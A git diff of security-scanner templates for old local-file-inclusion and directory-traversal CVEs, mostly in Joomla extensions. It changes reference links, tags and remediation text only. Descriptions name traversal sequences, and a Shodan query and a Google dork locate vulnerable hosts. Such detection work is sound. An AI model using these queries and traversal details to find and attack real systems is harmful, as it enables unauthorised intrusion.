b/cves/2010/CVE-2010-1979.yaml index caa75776ef..7f083ff294 100644 --- a/cves/2010/CVE-2010-1979.yaml +++ b/cves/2010/CVE-2010-1979.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12088 - https://www.cvedetails.com/cve/CVE-2010-1979 + - http://web.archive.org/web/20140724185517/http://secunia.com/advisories/39360/ + - http://www.exploit-db.com/exploits/12088 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1979 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: edb,cve,cve2010,joomla,lfi requests: - method: GET diff --git a/cves/2010/CVE-2010-1980.yaml b/cves/2010/CVE-2010-1980.yaml index cdf77adef5..9d7f73a0c4 100644 --- a/cves/2010/CVE-2010-1980.yaml +++ b/cves/2010/CVE-2010-1980.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12085 - https://www.cvedetails.com/cve/CVE-2010-1980 + - http://packetstormsecurity.org/1004-exploits/joomlaflickr-lfi.txt + - http://www.exploit-db.com/exploits/12085 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1980 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: lfi,edb,packetstorm,cve,cve2010,joomla requests: - method: GET diff --git a/cves/2010/CVE-2010-1981.yaml b/cves/2010/CVE-2010-1981.yaml index 86d7dd3d54..9b0586ed87 100644 --- a/cves/2010/CVE-2010-1981.yaml +++ b/cves/2010/CVE-2010-1981.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12087 - https://www.cvedetails.com/cve/CVE-2010-1981 + - http://packetstormsecurity.org/1004-exploits/joomlafabrik-lfi.txt + - http://www.exploit-db.com/exploits/12087 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1981 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb,packetstorm requests: - method: GET diff --git a/cves/2010/CVE-2010-1982.yaml b/cves/2010/CVE-2010-1982.yaml index b78ef5a1d8..a11af27071 100644 --- a/cves/2010/CVE-2010-1982.yaml +++ b/cves/2010/CVE-2010-1982.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12121 - https://www.cvedetails.com/cve/CVE-2010-1982 + - http://web.archive.org/web/20140723233933/http://secunia.com/advisories/39202/ + - http://web.archive.org/web/20210121195400/https://www.securityfocus.com/bid/39343/ + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1982 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-1983.yaml b/cves/2010/CVE-2010-1983.yaml index 82d4e0764b..3ce379a6df 100644 --- a/cves/2010/CVE-2010-1983.yaml +++ b/cves/2010/CVE-2010-1983.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12055 - https://www.cvedetails.com/cve/CVE-2010-1983 + - http://packetstormsecurity.org/1004-exploits/joomlaredtwitter-lfi.txt + - http://www.exploit-db.com/exploits/12055 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1983 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: joomla,lfi,edb,packetstorm,cve,cve2010 requests: - method: GET diff --git a/cves/2010/CVE-2010-2033.yaml b/cves/2010/CVE-2010-2033.yaml index 082fc18a36..c961bef8ea 100644 --- a/cves/2010/CVE-2010-2033.yaml +++ b/cves/2010/CVE-2010-2033.yaml @@ -8,10 +8,12 @@ info: reference: - https://packetstormsecurity.com/files/89654/Joomla-Percha-Categories-Tree-0.6-Local-File-Inclusion.html - https://www.cvedetails.com/cve/CVE-2010-2033 + - http://web.archive.org/web/20140805143014/http://secunia.com/advisories/39873/ + - http://web.archive.org/web/20210615115919/https://www.securityfocus.com/bid/40244 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-2033 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: packetstorm,cve,cve2010,joomla,lfi requests: - method: GET diff --git a/cves/2010/CVE-2010-2034.yaml b/cves/2010/CVE-2010-2034.yaml index 07d6b9831a..04f804fda0 100644 --- a/cves/2010/CVE-2010-2034.yaml +++ b/cves/2010/CVE-2010-2034.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/34003 - https://www.cvedetails.com/cve/CVE-2010-2034 + - http://packetstormsecurity.org/1005-exploits/joomlaperchaia-lfi.txt + - http://web.archive.org/web/20210615115919/https://www.securityfocus.com/bid/40244 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-2034 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: edb,packetstorm,cve,cve2010,joomla,lfi requests: - method: GET diff --git a/cves/2010/CVE-2010-2035.yaml b/cves/2010/CVE-2010-2035.yaml index 2d1998e086..091206bed2 100644 --- a/cves/2010/CVE-2010-2035.yaml +++ b/cves/2010/CVE-2010-2035.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/34006 - https://www.cvedetails.com/cve/CVE-2010-2035 + - http://web.archive.org/web/20210615115919/https://www.securityfocus.com/bid/40244 + - http://packetstormsecurity.org/1005-exploits/joomlaperchagl-lfi.txt + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-2035 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: packetstorm,cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-2036.yaml b/cves/2010/CVE-2010-2036.yaml index 6bf06fc8e0..108e86df89 100644 --- a/cves/2010/CVE-2010-2036.yaml +++ b/cves/2010/CVE-2010-2036.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/34004 - https://www.cvedetails.com/cve/CVE-2010-2036 + - http://packetstormsecurity.org/1005-exploits/joomlaperchafa-lfi.txt + - http://web.archive.org/web/20210615115919/https://www.securityfocus.com/bid/40244 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-2036 - remediation: Upgrade to a supported version. - tags: cve,cve2010,lfi,joomla + tags: cve2010,lfi,joomla,edb,packetstorm,cve requests: - method: GET diff --git a/cves/2010/CVE-2010-2037.yaml b/cves/2010/CVE-2010-2037.yaml index 737569005f..25f2e3df11 100644 --- a/cves/2010/CVE-2010-2037.yaml +++ b/cves/2010/CVE-2010-2037.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/34005 - https://www.cvedetails.com/cve/CVE-2010-2037 + - http://web.archive.org/web/20210615115919/https://www.securityfocus.com/bid/40244 + - http://packetstormsecurity.org/1005-exploits/joomlaperchada-lfi.txt + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-2037 - remediation: Upgrade to a supported version. - tags: cve,cve2010,lfi,joomla + tags: joomla,edb,packetstorm,cve,cve2010,lfi requests: - method: GET diff --git a/cves/2010/CVE-2010-2045.yaml b/cves/2010/CVE-2010-2045.yaml index 48e702ef20..6d407ff966 100644 --- a/cves/2010/CVE-2010-2045.yaml +++ b/cves/2010/CVE-2010-2045.yaml @@ -8,10 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/12595 - https://www.cvedetails.com/cve/CVE-2010-2045 + - http://packetstormsecurity.org/1005-exploits/joomlafdione-lfi.txt + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-2045 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb,packetstorm requests: - method: GET diff --git a/cves/2010/CVE-2010-2050.yaml b/cves/2010/CVE-2010-2050.yaml index eef5f84f42..ae40b3ac41 100644 --- a/cves/2010/CVE-2010-2050.yaml +++ b/cves/2010/CVE-2010-2050.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12611 - https://www.cvedetails.com/cve/CVE-2010-2050 + - http://web.archive.org/web/20210121200643/https://www.securityfocus.com/bid/40185/ + - http://packetstormsecurity.org/1005-exploits/joomlamscomment-lfi.txt + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-2050 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve2010,joomla,lfi,edb,packetstorm,cve requests: - method: GET diff --git a/cves/2010/CVE-2010-2122.yaml b/cves/2010/CVE-2010-2122.yaml index ed2f24987f..9ac39bcc09 100644 --- a/cves/2010/CVE-2010-2122.yaml +++ b/cves/2010/CVE-2010-2122.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12623 - https://www.cvedetails.com/cve/CVE-2010-2122 + - https://www.exploit-db.com/exploits/12618 + - http://web.archive.org/web/20210624180854/https://www.securityfocus.com/bid/40192 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-2122 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-2128.yaml b/cves/2010/CVE-2010-2128.yaml index 0c0221972a..70510e8ed0 100644 --- a/cves/2010/CVE-2010-2128.yaml +++ b/cves/2010/CVE-2010-2128.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12607 - https://www.cvedetails.com/cve/CVE-2010-2128 + - http://web.archive.org/web/20140801195113/http://secunia.com/advisories/39832/ + - http://www.exploit-db.com/exploits/12607 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-2128 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-2259.yaml b/cves/2010/CVE-2010-2259.yaml index 8938e35b5d..97477fcdd8 100644 --- a/cves/2010/CVE-2010-2259.yaml +++ b/cves/2010/CVE-2010-2259.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/10946 - https://www.cvedetails.com/cve/CVE-2010-2259 + - http://web.archive.org/web/20140724121430/http://secunia.com/advisories/37866/ + - http://www.exploit-db.com/exploits/10946 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-2259 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve2010,joomla,lfi,edb,cve requests: - method: GET diff --git a/cves/2010/CVE-2010-2307.yaml b/cves/2010/CVE-2010-2307.yaml index 201f2aea94..566b2b3892 100644 --- a/cves/2010/CVE-2010-2307.yaml +++ b/cves/2010/CVE-2010-2307.yaml @@ -6,12 +6,14 @@ info: severity: high description: Multiple directory traversal vulnerabilities in the web server for Motorola SURFBoard cable modem SBV6120E running firmware SBV6X2X-1.0.0.5-SCM-02-SHPC allow remote attackers to read arbitrary files via (1) "//" (multiple leading slash), (2) ../ (dot dot) sequences, and encoded dot dot sequences in a URL request. reference: - - https://www.securityfocus.com/bid/40550/info + - http://web.archive.org/web/20210120195654/https://www.securityfocus.com/bid/40550/info - https://nvd.nist.gov/vuln/detail/CVE-2010-2307 + - https://www.exploit-db.com/exploits/12865 + - http://www.exploit-db.com/exploits/12865 + remediation: Upgrade to a supported product version. classification: cve-id: CVE-2010-2307 - remediation: Upgrade to a supported product version. - tags: cve,cve2010,iot,lfi,motorola + tags: cve2010,iot,lfi,motorola,edb,cve requests: - method: GET diff --git a/cves/2010/CVE-2010-2507.yaml b/cves/2010/CVE-2010-2507.yaml index c72a70e19b..9295c9f8a8 100644 --- a/cves/2010/CVE-2010-2507.yaml +++ b/cves/2010/CVE-2010-2507.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/13981 - https://www.cvedetails.com/cve/CVE-2010-2507 + - http://web.archive.org/web/20140805070317/http://secunia.com/advisories/40297/ + - http://packetstormsecurity.org/1006-exploits/joomlapicasa2gallery-lfi.txt + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-2507 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: edb,packetstorm,cve,cve2010,joomla,lfi requests: - method: GET diff --git a/cves/2010/CVE-2010-2680.yaml b/cves/2010/CVE-2010-2680.yaml index e68dd0d628..efd570ebde 100644 --- a/cves/2010/CVE-2010-2680.yaml +++ b/cves/2010/CVE-2010-2680.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/14064 - https://www.cvedetails.com/cve/CVE-2010-2680 + - http://packetstormsecurity.org/1006-exploits/joomlajesectionfinder-lfi.txt + - http://web.archive.org/web/20210121201853/https://www.securityfocus.com/bid/41163/ + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-2680 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb,packetstorm requests: - method: GET diff --git a/cves/2010/CVE-2010-2682.yaml b/cves/2010/CVE-2010-2682.yaml index 3b7ca7a83b..220e7b6f0b 100644 --- a/cves/2010/CVE-2010-2682.yaml +++ b/cves/2010/CVE-2010-2682.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/14017 - https://www.cvedetails.com/cve/CVE-2010-2682 + - http://packetstormsecurity.org/1004-exploits/joomlarealtyna-lfi.txt + - http://www.exploit-db.com/exploits/14017 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-2682 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb,packetstorm requests: - method: GET diff --git a/cves/2010/CVE-2010-2857.yaml b/cves/2010/CVE-2010-2857.yaml index d4ceca8e82..8a3d4029c1 100644 --- a/cves/2010/CVE-2010-2857.yaml +++ b/cves/2010/CVE-2010-2857.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/14274 - https://www.cvedetails.com/cve/CVE-2010-2857 + - http://web.archive.org/web/20210121202225/https://www.securityfocus.com/bid/41485/ + - http://www.exploit-db.com/exploits/14274 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-2857 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve2010,joomla,lfi,edb,cve requests: - method: GET diff --git a/cves/2010/CVE-2010-2861.yaml b/cves/2010/CVE-2010-2861.yaml index 3c01af7405..d7353ba7f1 100644 --- a/cves/2010/CVE-2010-2861.yaml +++ b/cves/2010/CVE-2010-2861.yaml @@ -8,12 +8,13 @@ info: reference: - https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861 - http://www.adobe.com/support/security/bulletins/apsb10-18.html + - http://securityreason.com/securityalert/8148 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-2861 - remediation: Upgrade to a supported version. metadata: shodan-query: http.component:"Adobe ColdFusion" - tags: cve,cve2010,coldfusion,lfi,adobe + tags: adobe,kev,vulhub,cve,cve2010,coldfusion,lfi requests: - method: GET diff --git a/cves/2010/CVE-2010-2918.yaml b/cves/2010/CVE-2010-2918.yaml index caefc416bd..4f7592f7c1 100644 --- a/cves/2010/CVE-2010-2918.yaml +++ b/cves/2010/CVE-2010-2918.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/31708 - https://www.cvedetails.com/cve/CVE-2010-2918 + - http://web.archive.org/web/20210127190100/https://www.securityfocus.com/bid/28942/ + - https://www.exploit-db.com/exploits/14476 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-2918 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: joomla,lfi,edb,cve,cve2010 requests: - method: GET diff --git a/cves/2010/CVE-2010-2920.yaml b/cves/2010/CVE-2010-2920.yaml index 9ba43cab77..6b9e2f8d92 100644 --- a/cves/2010/CVE-2010-2920.yaml +++ b/cves/2010/CVE-2010-2920.yaml @@ -8,10 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/12120 - https://www.cvedetails.com/cve/CVE-2010-2920 + - http://www.vupen.com/english/advisories/2010/1844 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-2920 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-3203.yaml b/cves/2010/CVE-2010-3203.yaml index 8ab1009b02..4f52723a40 100644 --- a/cves/2010/CVE-2010-3203.yaml +++ b/cves/2010/CVE-2010-3203.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/14845 - https://www.cvedetails.com/cve/CVE-2010-3203 + - http://web.archive.org/web/20150105095919/http://secunia.com:80/advisories/41187/ + - http://www.exploit-db.com/exploits/14845 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-3203 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: edb,cve,cve2010,joomla,lfi requests: - method: GET diff --git a/cves/2010/CVE-2010-3426.yaml b/cves/2010/CVE-2010-3426.yaml index be412616bf..ca28b72246 100644 --- a/cves/2010/CVE-2010-3426.yaml +++ b/cves/2010/CVE-2010-3426.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/14964 - https://www.cvedetails.com/cve/CVE-2010-3426 + - http://packetstormsecurity.org/1009-exploits/joomlajphone-lfi.txt + - http://www.exploit-db.com/exploits/14964 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-3426 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: lfi,edb,packetstorm,cve,cve2010,joomla requests: - method: GET diff --git a/cves/2010/CVE-2010-4231.yaml b/cves/2010/CVE-2010-4231.yaml index d2b145bf0f..440d329e90 100644 --- a/cves/2010/CVE-2010-4231.yaml +++ b/cves/2010/CVE-2010-4231.yaml @@ -8,10 +8,12 @@ info: reference: - https://nvd.nist.gov/vuln/detail/CVE-2010-4231 - https://www.exploit-db.com/exploits/15505 + - https://www.trustwave.com/spiderlabs/advisories/TWSL2010-006.txt + - http://www.exploit-db.com/exploits/15505/ + remediation: Upgrade to a supported product version. classification: cve-id: CVE-2010-4231 - remediation: Upgrade to a supported product version. - tags: cve,cve2010,iot,lfi,camera + tags: cve,cve2010,iot,lfi,camera,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-4239.yaml b/cves/2010/CVE-2010-4239.yaml index 6f3303143c..c2b4d8c476 100644 --- a/cves/2010/CVE-2010-4239.yaml +++ b/cves/2010/CVE-2010-4239.yaml @@ -3,14 +3,16 @@ id: CVE-2010-4239 info: name: Tiki Wiki CMS Groupware 5.2 - Local File Inclusion author: 0x_akoko - severity: high - description: Tiki Wiki CMS Groupware 5.2 has Local File Inclusion + severity: critical + description: Tiki Wiki CMS Groupware 5.2 is susceptible to a local file inclusion vulnerability. reference: - https://dl.packetstormsecurity.net/1009-exploits/tikiwiki52-lfi.txt - - https://www.cvedetails.com/cve/CVE-2010-4239 + - https://www.openwall.com/lists/oss-security/2010/11/22/9 + - https://security-tracker.debian.org/tracker/CVE-2010-4239 + - https://nvd.nist.gov/vuln/detail/CVE-2010-4239 classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 cve-id: CVE-2010-4239 cwe-id: CWE-20 tags: cve,cve2010,tikiwiki,lfi @@ -28,3 +30,5 @@ requests: - "fonts" - "extensions" condition: and + +# Enhanced by mp on 2022/05/18 diff --git a/cves/2010/CVE-2010-4282.yaml b/cves/2010/CVE-2010-4282.yaml index 0f9ef355fd..4e19e82b8b 100644 --- a/cves/2010/CVE-2010-4282.yaml +++ b/cves/2010/CVE-2010-4282.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/15643 - https://www.cvedetails.com/cve/CVE-2010-4282 + - http://sourceforge.net/projects/pandora/files/Pandora%20FMS%203.1/Final%20version%20%28Stable%29/pandorafms_console-3.1_security_patch_13Oct2010.tar.gz/download + - http://www.exploit-db.com/exploits/15643 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-4282 - remediation: Upgrade to a supported version. - tags: cve,cve2010,lfi,joomla,phpshowtime + tags: phpshowtime,edb,cve,cve2010,lfi,joomla requests: - method: GET diff --git a/cves/2010/CVE-2010-4617.yaml b/cves/2010/CVE-2010-4617.yaml index 8cfa8ebc38..36464505b2 100644 --- a/cves/2010/CVE-2010-4617.yaml +++ b/cves/2010/CVE-2010-4617.yaml @@ -8,10 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/15791 - https://www.cvedetails.com/cve/CVE-2010-4617 + - http://packetstormsecurity.org/files/view/96812/joomlajotloader-lfi.txt + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-4617 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb,packetstorm requests: - method: GET diff --git a/cves/2010/CVE-2010-4719.yaml b/cves/2010/CVE-2010-4719.yaml index e07fc1fa1c..0e3cfa2a1e 100644 --- a/cves/2010/CVE-2010-4719.yaml +++ b/cves/2010/CVE-2010-4719.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/15749 - https://www.cvedetails.com/cve/CVE-2010-4719 + - http://packetstormsecurity.org/files/view/96751/joomlajradio-lfi.txt + - http://www.exploit-db.com/exploits/15749 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-4719 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve2010,joomla,lfi,edb,packetstorm,cve requests: - method: GET diff --git a/cves/2010/CVE-2010-4769.yaml b/cves/2010/CVE-2010-4769.yaml index 452cb9faae..247d5b55f4 100644 --- a/cves/2010/CVE-2010-4769.yaml +++ b/cves/2010/CVE-2010-4769.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/15585 - https://www.cvedetails.com/cve/CVE-2010-4769 + - http://web.archive.org/web/20140803011658/http://secunia.com/advisories/42324/ + - http://web.archive.org/web/20210121210048/https://www.securityfocus.com/bid/44992/ + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-4769 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-4977.yaml b/cves/2010/CVE-2010-4977.yaml index 162f552fed..1da134d5db 100644 --- a/cves/2010/CVE-2010-4977.yaml +++ b/cves/2010/CVE-2010-4977.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/34250 - https://www.cvedetails.com/cve/CVE-2010-4977 + - http://www.salvatorefresta.net/files/adv/Canteen%20Joomla%20Component%201.0%20Multiple%20Remote%20Vulnerabilities-04072010.txt + - http://packetstormsecurity.org/1007-exploits/joomlacanteen-lfisql.txt + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-4977 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: joomla,lfi,edb,packetstorm,cve,cve2010 requests: - method: GET diff --git a/cves/2010/CVE-2010-5028.yaml b/cves/2010/CVE-2010-5028.yaml index 5a9d798fc5..89303e05b2 100644 --- a/cves/2010/CVE-2010-5028.yaml +++ b/cves/2010/CVE-2010-5028.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/12601 - https://www.cvedetails.com/cve/CVE-2010-5028 + - http://www.vupen.com/english/advisories/2010/1269 + - http://web.archive.org/web/20210126225410/https://www.securityfocus.com/bid/40193/ + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-5028 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb requests: - method: GET diff --git a/cves/2010/CVE-2010-5278.yaml b/cves/2010/CVE-2010-5278.yaml index da7888acbb..0c0531670c 100644 --- a/cves/2010/CVE-2010-5278.yaml +++ b/cves/2010/CVE-2010-5278.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/34788 - https://www.cvedetails.com/cve/CVE-2010-5278 + - http://packetstormsecurity.org/1009-exploits/modx202pl-lfi.txt + - http://web.archive.org/web/20140803154716/http://secunia.com/advisories/41638/ classification: cve-id: CVE-2010-5278 - tags: cve,cve2010,lfi + tags: cve,cve2010,lfi,edb,packetstorm requests: - method: GET diff --git a/cves/2010/CVE-2010-5286.yaml b/cves/2010/CVE-2010-5286.yaml index 1523da3700..e5ee8dd902 100644 --- a/cves/2010/CVE-2010-5286.yaml +++ b/cves/2010/CVE-2010-5286.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/34837 - https://www.cvedetails.com/cve/CVE-2010-5286 + - http://web.archive.org/web/20210123122507/https://www.securityfocus.com/bid/44053/ + - http://packetstormsecurity.org/1010-exploits/joomlajstore-lfi.txt + remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-5286 - remediation: Upgrade to a supported version. - tags: cve,cve2010,joomla,lfi + tags: cve,cve2010,joomla,lfi,edb,packetstorm requests: - method: GET diff --git a/cves/2011/CVE-2011-0049.yaml b/cves/2011/CVE-2011-0049.yaml index d9be2cda41..fd9c04a8a4 100644 --- a/cves/2011/CVE-2011-0049.yaml +++ b/cves/2011/CVE-2011-0049.yaml @@ -9,10 +9,11 @@ info: - https://www.exploit-db.com/exploits/16103 - https://nvd.nist.gov/vuln/detail/CVE-2011-0063 - http://www.kb.cert.org/vuls/id/363726 + - https://bug628064.bugzilla.mozilla.org/attachment.cgi?id=506481 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2011-0049 - remediation: Upgrade to a supported version. - tags: cve,cve2011,majordomo2,lfi + tags: cve,cve2011,majordomo2,lfi,edb requests: - method: GET diff --git a/cves/2011/CVE-2011-1669.yaml b/cves/2011/CVE-2011-1669.yaml index 31619fa484..ff691f2ffc 100644 --- a/cves/2011/CVE-2011-1669.yaml +++ b/cves/2011/CVE-2011-1669.yaml @@ -8,10 +8,14 @@ info: reference: - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1669 - https://www.exploit-db.com/exploits/17119 + - http://web.archive.org/web/20210121212348/https://www.securityfocus.com/bid/47146/ + - http://www.exploit-db.com/exploits/17119 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2011-1669 - remediation: Upgrade to a supported version. - tags: cve,cve2011,wordpress,wp-plugin,lfi + metadata: + google-query: inurl:"/wp-content/plugins/wp-custom-pages/" + tags: edb,cve,cve2011,wordpress,wp-plugin,lfi requests: - method: GET diff --git a/cves/2011/CVE-2011-2744.yaml b/cves/2011/CVE-2011-2744.yaml index d4ba7d6d90..06ffccf68d 100644 --- a/cves/2011/CVE-2011-2744.yaml +++ b/cves/2011/CVE-2011-2744.yaml @@ -7,10 +7,12 @@ info: description: A directory traversal vulnerability in Chyrp 2.1 and earlier allows remote attackers to include and execute arbitrary local files via a ..%2F (encoded dot dot slash) in the action parameter to the default URI. reference: - https://www.exploit-db.com/exploits/35945 - - https://www.cvedetails.com/cve/CVE-2011-2744 + - http://www.openwall.com/lists/oss-security/2011/07/13/6 + - https://nvd.nist.gov/vuln/detail/CVE-2011-2744 + - http://web.archive.org/web/20140723162411/http://secunia.com/advisories/45184/ classification: cve-id: CVE-2011-2744 - tags: cve,cve2011,lfi,chyrp + tags: cve,cve2011,lfi,chyrp,edb requests: - method: GET diff --git a/cves/2011/CVE-2011-2780.yaml b/cves/2011/CVE-2011-2780.yaml index 6b3715bb3b..ed1acfc80c 100644 --- a/cves/2011/CVE-2011-2780.yaml +++ b/cves/2011/CVE-2011-2780.yaml @@ -10,15 +10,14 @@ info: - http://www.openwall.com/lists/oss-security/2011/07/13/5 - http://www.ocert.org/advisories/ocert-2011-001.html - http://www.openwall.com/lists/oss-security/2011/07/13/6 - - http://www.securityfocus.com/bid/48672 - - http://secunia.com/advisories/45184 - - http://osvdb.org/73891 + - http://web.archive.org/web/20210121214023/https://www.securityfocus.com/bid/48672/ + - http://web.archive.org/web/20140723162411/http://secunia.com/advisories/45184/ - http://securityreason.com/securityalert/8312 - https://exchange.xforce.ibmcloud.com/vulnerabilities/68565 - - http://www.securityfocus.com/archive/1/518890/100/0/threaded + - http://web.archive.org/web/20201207104106/https://www.securityfocus.com/archive/1/518890/100/0/threaded + remediation: Upgrade to a supported version. classification: cve-id: CVE-2011-2780 - remediation: Upgrade to a supported version. tags: cve,cve2011,lfi,chyrp requests: diff --git a/cves/2011/CVE-2011-3315.yaml b/cves/2011/CVE-2011-3315.yaml index 0a70217e79..7406986eb6 100644 --- a/cves/2011/CVE-2011-3315.yaml +++ b/cves/2011/CVE-2011-3315.yaml @@ -4,15 +4,15 @@ info: name: Cisco CUCM, UCCX, and Unified IP-IVR- Directory Traversal author: daffainfo severity: high - description: A directory traversal vulnerability in Cisco Unified Communications Manager (CUCM) 5.x and 6.x before 6.1(5)SU2, 7.x before 7.1(5b)SU2, and 8.x before 8.0(3), and Cisco Unified Contact Center Express - (aka Unified CCX or UCCX) and Cisco Unified IP Interactive Voice Response (Unified IP-IVR) before 6.0(1)SR1ES8, 7.0(x) before 7.0(2)ES1, 8.0(x) through 8.0(2)SU3, and 8.5(x) before 8.5(1)SU2, allows remote attackers - to read arbitrary files via a crafted URL, aka Bug IDs CSCth09343 and CSCts44049. + description: A directory traversal vulnerability in Cisco Unified Communications Manager (CUCM) 5.x and 6.x before 6.1(5)SU2, 7.x before 7.1(5b)SU2, and 8.x before 8.0(3), and Cisco Unified Contact Center Express (aka Unified CCX or UCCX) and Cisco Unified IP Interactive Voice Response (Unified IP-IVR) before 6.0(1)SR1ES8, 7.0(x) before 7.0(2)ES1, 8.0(x) through 8.0(2)SU3, and 8.5(x) before 8.5(1)SU2, allows remote attackers to 